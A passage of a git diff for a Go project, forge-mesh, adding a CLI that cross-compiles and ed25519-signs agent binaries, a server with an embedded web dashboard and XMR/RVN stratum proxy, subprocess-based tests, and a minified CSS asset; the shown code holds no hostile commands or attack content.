parent := filepath.Dir(dir) + if parent == dir { + break + } + dir = parent + } + wd, _ := os.Getwd() + return wd +} + +func printUsage() { + fmt.Fprintf(os.Stderr, `forge-mesh forge CLI + +Usage: + forge build [--config data/config.json] [--version 0.1.0-dev] [--public] + forge pubkey [--config data/config.json] + +Cross-compiles linux/amd64 and linux/arm64 agent binaries, ed25519-signs artifacts, +and records builds in SQLite (--public marks builds served on /api/v1/public/*). + +`) +} diff --git a/cmd/forge/main_test.go b/cmd/forge/main_test.go new file mode 100644 index 0000000..3966a41 --- /dev/null +++ b/cmd/forge/main_test.go @@ -0,0 +1,241 @@ +package main + +import ( + "crypto/sha256" + "database/sql" + "encoding/hex" + "encoding/json" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "forge-mesh/internal/db" + "forge-mesh/internal/forge" +) + +func TestForgeBuildCrossCompileAndSign(t *testing.T) { + dir := t.TempDir() + cfgPath := writeForgeConfig(t, dir) + bin := buildForgeBinary(t) + + out, err := exec.Command(bin, "build", + "--config", cfgPath, + "--version", "test-1.0", + "--public", + ).CombinedOutput() + if err != nil { + t.Fatalf("forge build: %v\n%s", err, out) + } + + output := string(out) + if !strings.Contains(output, "linux/amd64") || !strings.Contains(output, "linux/arm64") { + t.Fatalf("expected amd64 and arm64 builds in output:\n%s", output) + } + if !strings.Contains(output, "checksum=") { + t.Fatalf("expected checksum in build output:\n%s", output) + } + if !strings.Contains(output, "public key:") { + t.Fatalf("expected public key in build output:\n%s", output) + } + + artifactsDir := filepath.Join(dir, "artifacts") + for _, arch := range []string{"amd64", "arm64"} { + path := filepath.Join(artifactsDir, "forge-mesh-agent-linux-"+arch) + assertSignedArtifact(t, path, cfgPath) + } +} + +func TestForgeBuildPublicFlag(t *testing.T) { + dir := t.TempDir() + cfgPath := writeForgeConfig(t, dir) + bin := buildForgeBinary(t) + + if out, err := exec.Command(bin, "build", "--config", cfgPath, "--public=false").CombinedOutput(); err != nil { + t.Fatalf("forge build private: %v\n%s", err, out) + } + + conn := openDB(t, filepath.Join(dir, "forge-mesh.db")) + defer conn.Close() + + var publicCount int + if err := conn.QueryRow(`SELECT COUNT(*) FROM builds WHERE public = 1`).Scan(&publicCount); err != nil { + t.Fatal(err) + } + if publicCount != 0 { + t.Fatalf("expected no public builds with --public=false, got %d", publicCount) + } + + if out, err := exec.Command(bin, "build", "--config", cfgPath, "--public").CombinedOutput(); err != nil { + t.Fatalf("forge build public: %v\n%s", err, out) + } + if err := conn.QueryRow(`SELECT COUNT(*) FROM builds WHERE public = 1`).Scan(&publicCount); err != nil { + t.Fatal(err) + } + if publicCount < 2 { + t.Fatalf("expected public builds after --public, got %d", publicCount) + } +} + +func TestForgePubkey(t *testing.T) { + dir := t.TempDir() + cfgPath := writeForgeConfig(t, dir) + bin := buildForgeBinary(t) + + out, err := exec.Command(bin, "pubkey", "--config", cfgPath).CombinedOutput() + if err != nil { + t.Fatalf("forge pubkey: %v\n%s", err, out) + } + + hexKey := strings.TrimSpace(string(out)) + if len(hexKey) != 64 { + t.Fatalf("expected 64-char ed25519 pubkey hex, got %q", hexKey) + } + + cfg := readForgeConfigFile(t, cfgPath) + kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + if err != nil { + t.Fatal(err) + } + if kp.PublicKeyHex() != hexKey { + t.Fatalf("pubkey mismatch: CLI %s key file %s", hexKey, kp.PublicKeyHex()) + } +} + +func TestForgeUsageExitsNonZero(t *testing.T) { + bin := buildForgeBinary(t) + cmd := exec.Command(bin) + err := cmd.Run() + if err == nil { + t.Fatal("expected non-zero exit without subcommand") + } +} + +func assertSignedArtifact(t *testing.T, path, cfgPath string) { + t.Helper() + + info, err := os.Stat(path) + if err != nil { + t.Fatalf("artifact %s: %v", path, err) + } + if info.Size() == 0 { + t.Fatalf("empty artifact %s", path) + } + + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + sum := sha256.Sum256(data) + checksum := hex.EncodeToString(sum[:]) + + cfg := readForgeConfigFile(t, cfgPath) + kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + if err != nil { + t.Fatal(err) + } + sig := kp.Sign(data) + if !forge.Verify(kp.Public, data, sig) { + t.Fatalf("artifact %s failed ed25519 verification", path) + } + + conn := openDB(t, cfg.DatabasePath) + defer conn.Close() + + var dbChecksum, dbSig string + err = conn.QueryRow(` + SELECT checksum, signature FROM builds + WHERE path = ? ORDER BY created_at DESC LIMIT 1 + `, path).Scan(&dbChecksum, &dbSig) + if err != nil { + t.Fatalf("build row for %s: %v", path, err) + } + if dbChecksum != checksum { + t.Fatalf("checksum mismatch for %s: db %s file %s", path, dbChecksum, checksum) + } + if !forge.Verify(kp.Public, data, dbSig) { + t.Fatalf("db signature invalid for %s", path) + } +} + +func buildForgeBinary(t *testing.T) string { + t.Helper() + out := filepath.Join(t.TempDir(), "forge-mesh-forge") + cmd := exec.Command("go", "build", "-o", out, "./cmd/forge") + cmd.Dir = repoRoot(t) + if outBytes, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("build forge: %v\n%s", err, outBytes) + } + return out +} + +func writeForgeConfig(t *testing.T, dir string) string { + t.Helper() + cfgPath := filepath.Join(dir, "config.json") + content := fmt.Sprintf(`{ + "listen_addr": ":0", + "data_dir": %q, + "database_path": %q, + "auth": { + "fleet_secret": "forge-test-secret" + }, + "forge": { + "signing_key_path": %q, + "artifacts_dir": %q + } +}`, dir, filepath.Join(dir, "forge-mesh.db"), + filepath.Join(dir, "signing.key"), filepath.Join(dir, "artifacts")) + if err := os.WriteFile(cfgPath, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + return cfgPath +} + +type forgeConfigSnippet struct { + DatabasePath string `json:"database_path"` + Forge struct { + SigningKeyPath string `json:"signing_key_path"` + } `json:"forge"` +} + +func readForgeConfigFile(t *testing.T, path string) forgeConfigSnippet { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var cfg forgeConfigSnippet + if err := json.Unmarshal(data, &cfg); err != nil { + t.Fatal(err) + } + return cfg +} + +func openDB(t *testing.T, path string) *sql.DB { + t.Helper() + conn, err := db.Open(path) + if err != nil { + t.Fatal(err) + } + return conn +} + +func repoRoot(t *testing.T) string { + t.Helper() + wd, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for { + if _, err := os.Stat(filepath.Join(wd, "go.mod")); err == nil { + return wd + } + parent := filepath.Dir(wd) + if parent == wd { + t.Fatal("go.mod not found") + } + wd = parent + } +} diff --git a/cmd/server/main.go b/cmd/server/main.go new file mode 100644 index 0000000..3d5dae2 --- /dev/null +++ b/cmd/server/main.go @@ -0,0 +1,97 @@ +package main + +import ( + "context" + "embed" + "flag" + "fmt" + "io/fs" + "log" + "net/http" + "os" + "os/signal" + "path/filepath" + "syscall" + + "forge-mesh/internal/api" + "forge-mesh/internal/config" + "forge-mesh/internal/db" + "forge-mesh/internal/forge" + "forge-mesh/internal/stratum" +) + +//go:embed webroot/* +var webroot embed.FS + +const version = "0.1.0-dev" + +func main() { + configPath := flag.String("config", "data/config.json", "path to config.json") + installTmpl := flag.String("install-tmpl", "scripts/install.sh.tpl", "install.sh template path") + flag.Parse() + + cfg, err := config.Load(*configPath) + if err != nil { + log.Fatalf("config: %v", err) + } + + if err := cfg.EnsureDataDirs(); err != nil { + log.Fatalf("data dirs: %v", err) + } + + conn, err := db.Open(cfg.DatabasePath) + if err != nil { + log.Fatalf("database: %v", err) + } + defer conn.Close() + + keyPair, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + if err != nil { + log.Fatalf("signing key: %v", err) + } + + staticFS, err := fs.Sub(webroot, "webroot") + if err != nil { + log.Fatalf("webroot: %v", err) + } + + srv, err := api.NewServer(cfg, conn, staticFS, version, *installTmpl, keyPair.PublicKeyHex()) + if err != nil { + log.Fatalf("server: %v", err) + } + + stratumProxy := stratum.New(cfg.Stratum) + if err := stratumProxy.Start(); err != nil { + log.Printf("stratum (non-fatal): %v", err) + } else { + defer stratumProxy.Close() + log.Printf("stratum: XMR %s RVN %s", cfg.Stratum.XMRListen, cfg.Stratum.RVNListen) + } + + addr := cfg.ListenAddr + log.Printf("forge-mesh-server %s listening on %s (config: %s, db: %s)", + version, addr, absPath(*configPath), cfg.DatabasePath) + + httpSrv := &http.Server{Addr: addr, Handler: srv.Handler()} + + go func() { + if err := httpSrv.ListenAndServe(); err != nil && err != http.ErrServerClosed { + fmt.Fprintf(os.Stderr, "server: %v\n", err) + os.Exit(1) + } + }() + + sigCtx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM) + defer stop() + <-sigCtx.Done() + log.Println("shutting down...") + _ = httpSrv.Shutdown(context.Background()) +} + +func absPath(p string) string { + abs, err := filepath.Abs(p) + if err != nil { + return p + } + return abs +} diff --git a/cmd/server/main_test.go b/cmd/server/main_test.go new file mode 100644 index 0000000..884457b --- /dev/null +++ b/cmd/server/main_test.go @@ -0,0 +1,206 @@ +package main + +import ( + "context" + "encoding/json" + "fmt" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "testing" + "time" +) + +func TestServerHealthViaSubprocess(t *testing.T) { + dir := t.TempDir() + port := freePort(t) + cfgPath := writeServerConfig(t, dir, port) + + bin := buildServerBinary(t) + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + cmd := exec.CommandContext(ctx, bin, "-config", cfgPath) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start server: %v", err) + } + t.Cleanup(func() { + cancel() + _ = cmd.Wait() + }) + + base := fmt.Sprintf("http://127.0.0.1:%d", port) + waitForHealth(t, base+"/api/v1/health", 15*time.Second) + + resp, err := http.Get(base + "/api/v1/health") + if err != nil { + t.Fatalf("health GET: %v", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + t.Fatalf("health status: got %d want 200", resp.StatusCode) + } + + var body struct { + Status string `json:"status"` + Service string `json:"service"` + Version string `json:"version"` + } + if err := json.NewDecoder(resp.Body).Decode(&body); err != nil { + t.Fatalf("decode health: %v", err) + } + if body.Status != "ok" { + t.Fatalf("status: got %q want ok", body.Status) + } + if body.Service != "forge-mesh-server" { + t.Fatalf("service: got %q", body.Service) + } + if body.Version == "" { + t.Fatal("expected version in health response") + } +} + +func TestServerUsesConfigDataDirAndPort(t *testing.T) { + dir := t.TempDir() + port := freePort(t) + cfgPath := writeServerConfig(t, dir, port) + + cfgData, err := os.ReadFile(cfgPath) + if err != nil { + t.Fatal(err) + } + if !containsAll(string(cfgData), dir, fmt.Sprintf("127.0.0.1:%d", port)) { + t.Fatalf("config missing data_dir or listen_addr: %s", cfgData) + } + + dbPath := filepath.Join(dir, "forge-mesh.db") + artifacts := filepath.Join(dir, "artifacts") + + bin := buildServerBinary(t) + ctx, cancel := context.WithTimeout(context.Background(), 12*time.Second) + defer cancel() + + cmd := exec.CommandContext(ctx, bin, "-config", cfgPath) + if err := cmd.Start(); err != nil { + t.Fatalf("start: %v", err) + } + defer func() { + cancel() + _ = cmd.Wait() + }() + + waitForHealth(t, fmt.Sprintf("http://127.0.0.1:%d/api/v1/health", port), 12*time.Second) + + for _, path := range []string{dbPath, artifacts, filepath.Join(dir, "signing.key")} { + if _, err := os.Stat(path); err != nil { + t.Fatalf("expected server to create %s: %v", path, err) + } + } +} + +func buildServerBinary(t *testing.T) string { + t.Helper() + out := filepath.Join(t.TempDir(), "forge-mesh-server") + cmd := exec.Command("go", "build", "-o", out, "./cmd/server") + cmd.Dir = repoRoot(t) + if outBytes, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("build server: %v\n%s", err, outBytes) + } + return out +} + +func writeServerConfig(t *testing.T, dir string, port int) string { + t.Helper() + cfgPath := filepath.Join(dir, "config.json") + content := fmt.Sprintf(`{ + "listen_addr": "127.0.0.1:%d", + "data_dir": %q, + "database_path": %q, + "auth": { + "basic_username": "admin", + "basic_password": "changeme", + "fleet_secret": "test-fleet-secret" + }, + "forge": { + "signing_key_path": %q, + "artifacts_dir": %q + } +}`, port, dir, filepath.Join(dir, "forge-mesh.db"), + filepath.Join(dir, "signing.key"), filepath.Join(dir, "artifacts")) + if err := os.WriteFile(cfgPath, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + return cfgPath +} + +func freePort(t *testing.T) int { + t.Helper() + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer ln.Close() + return ln.Addr().(*net.TCPAddr).Port +} + +func waitForHealth(t *testing.T, url string, timeout time.Duration) { + t.Helper() + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + resp, err := http.Get(url) + if err == nil { + resp.Body.Close() + if resp.StatusCode == http.StatusOK { + return + } + } + time.Sleep(200 * time.Millisecond) + } + t.Fatalf("server did not become healthy at %s within %s", url, timeout) +} + +func repoRoot(t *testing.T) string { + t.Helper() + wd, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for { + if _, err := os.Stat(filepath.Join(wd, "go.mod")); err == nil { + return wd + } + parent := filepath.Dir(wd) + if parent == wd { + t.Fatal("go.mod not found") + } + wd = parent + } +} + +func containsAll(s string, parts ...string) bool { + for _, p := range parts { + if !contains(s, p) { + return false + } + } + return true +} + +func contains(s, sub string) bool { + return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0) +} + +func indexOf(s, sub string) int { + for i := 0; i+len(sub) <= len(s); i++ { + if s[i:i+len(sub)] == sub { + return i + } + } + return -1 +} diff --git a/cmd/server/webroot/assets/index-BJ9Sa22q.css b/cmd/server/webroot/assets/index-BJ9Sa22q.css new file mode 100644 index 0000000..d7adfdf --- /dev/null +++ b/cmd/server/webroot/assets/index-BJ9Sa22q.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:Inter,system-ui,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:JetBrains Mono,Fira Code,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}*{--tw-border-opacity: 1;border-color:rgb(36 48 56 / var(--tw-border-opacity, 1))}body{min-height:100vh;--tw-bg-opacity: 1;background-color:rgb(10 14 15 / var(--tw-bg-opacity, 1));--tw-text-opacity: 1;color:rgb(200 212 220 / var(--tw-text-opacity, 1));background-image:radial-gradient(ellipse 80% 50% at 50% -20%,rgba(0,230,118,.08),transparent),linear-gradient(180deg,#0a0e0f,#0d1214)}::-webkit-scrollbar{width:8px;height:8px}::-webkit-scrollbar-track{--tw-bg-opacity: 1;background-color:rgb(17 22 24 / var(--tw-bg-opacity, 1))}::-webkit-scrollbar-thumb{border-radius:.25rem;--tw-bg-opacity: 1;background-color:rgb(36 48 56 / var(--tw-bg-opacity, 1))}::-webkit-scrollbar-thumb:hover{--tw-bg-opacity: 1;background-color:rgb(90 107 117 / var(--tw-bg-opacity, 1))}.pointer-events-none{pointer-events:none}.static{position:static}.absolute{position:absolute}.relative{position:relative}.inset-0{top:0;right:0;bottom:0;left:0}.left-3{left:.75rem}.top-1\/2{top:50%}.mx-auto{margin-left:auto;margin-right:auto}.mb-2{margin-bottom:.5rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.flex{display:flex}.inline-flex{display:inline-flex}.grid{display:grid}.h-10{height:2.5rem}.h-11{height:2.75rem}.h-12{height:3rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-full{height:100%}.h-screen{height:100vh}.max-h-\[420px\]{max-height:420px}.max-h-\[480px\]{max-height:480px}.min-h-screen{min-height:100vh}.w-10{width:2.5rem}.w-12{width:3rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-4{width:1rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-full{width:100%}.min-w-0{min-width:0px}.max-w-md{max-width:28rem}.flex-1{flex:1 1 0%}.shrink-0{flex-shrink:0}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse-slow{animation:pulse 3s cubic-bezier(.4,0,.6,1) infinite}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-pointer{cursor:pointer}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-2{gap:.5rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-y-auto{overflow-y:auto}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.break-all{word-break:break-all}.rounded-full{border-radius:9999px}.rounded-lg{border-radius:.5rem}.rounded-md{border-radius:.375rem}.border{border-width:1px}.border-b{border-bottom-width:1px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-deck-accent\/20{border-color:#00e67633}.border-deck-accent\/30{border-color:#00e6764d}.border-deck-accent\/40{border-color:#00e67666}.border-deck-accent\/60{border-color:#00e67699}.border-deck-amber\/30{border-color:#ffb3004d}.border-deck-amber\/60{border-color:#ffb30099}.border-deck-border{--tw-border-opacity: 1;border-color:rgb(36 48 56 / var(--tw-border-opacity, 1))}.border-deck-border\/40{border-color:#24303866}.border-deck-border\/50{border-color:#24303880}.border-deck-cyan\/40{border-color:#00bcd466}.border-deck-danger\/40{border-color:#ff525266}.border-deck-danger\/60{border-color:#ff525299}.bg-deck-accent{--tw-bg-opacity: 1;background-color:rgb(0 230 118 / var(--tw-bg-opacity, 1))}.bg-deck-accent\/10{background-color:#00e6761a}.bg-deck-accent\/20{background-color:#00e67633}.bg-deck-accent\/5{background-color:#00e6760d}.bg-deck-amber\/10{background-color:#ffb3001a}.bg-deck-amber\/5{background-color:#ffb3000d}.bg-deck-bg{--tw-bg-opacity: 1;background-color:rgb(10 14 15 / var(--tw-bg-opacity, 1))}.bg-deck-cyan\/10{background-color:#00bcd41a}.bg-deck-danger\/10{background-color:#ff52521a}.bg-deck-danger\/20{background-color:#ff525233}.bg-deck-panel{--tw-bg-opacity: 1;background-color:rgb(22 28 32 / var(--tw-bg-opacity, 1))}.bg-deck-surface{--tw-bg-opacity: 1;background-color:rgb(17 22 24 / var(--tw-bg-opacity, 1))}.bg-deck-surface\/80{background-color:#111618cc}.bg-transparent{background-color:transparent}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.from-deck-accent\/5{--tw-gradient-from: rgb(0 230 118 / .05) var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 230 118 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.p-3{padding:.75rem}.p-4{padding:1rem}.p-6{padding:1.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.pb-2{padding-bottom:.5rem}.pl-10{padding-left:2.5rem}.pt-0{padding-top:0}.pt-3{padding-top:.75rem}.text-center{text-align:center}.font-mono{font-family:JetBrains Mono,Fira Code,monospace}.text-2xl{font-size:1.5rem;line-height:2rem}.text-\[10px\]{font-size:10px}.text-base{font-size:1rem;line-height:1.5rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-medium{font-weight:500}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.leading-none{line-height:1}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.text-deck-accent{--tw-text-opacity: 1;color:rgb(0 230 118 / var(--tw-text-opacity, 1))}.text-deck-amber{--tw-text-opacity: 1;color:rgb(255 179 0 / var(--tw-text-opacity, 1))}.text-deck-bg{--tw-text-opacity: 1;color:rgb(10 14 15 / var(--tw-text-opacity, 1))}.text-deck-cyan{--tw-text-opacity: 1;color:rgb(0 188 212 / var(--tw-text-opacity, 1))}.text-deck-danger{--tw-text-opacity: 1;color:rgb(255 82 82 / var(--tw-text-opacity, 1))}.text-deck-muted{--tw-text-opacity: 1;color:rgb(90 107 117 / var(--tw-text-opacity, 1))}.text-deck-text{--tw-text-opacity: 1;color:rgb(200 212 220 / var(--tw-text-opacity, 1))}.opacity-60{opacity:.6}.shadow-glow{--tw-shadow: 0 0 20px rgba(0, 230, 118, .15);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-sm{--tw-shadow: 0 1px 2px 0 rgb(0 0 0 / .05);--tw-shadow-colored: 0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.outline{outline-style:solid}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.deck-grid-bg{background-image:linear-gradient(rgba(36,48,56,.4) 1px,transparent 1px),linear-gradient(90deg,rgba(36,48,56,.4) 1px,transparent 1px);background-size:24px 24px}.placeholder\:text-deck-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(90 107 117 / var(--tw-text-opacity, 1))}.placeholder\:text-deck-muted::placeholder{--tw-text-opacity: 1;color:rgb(90 107 117 / 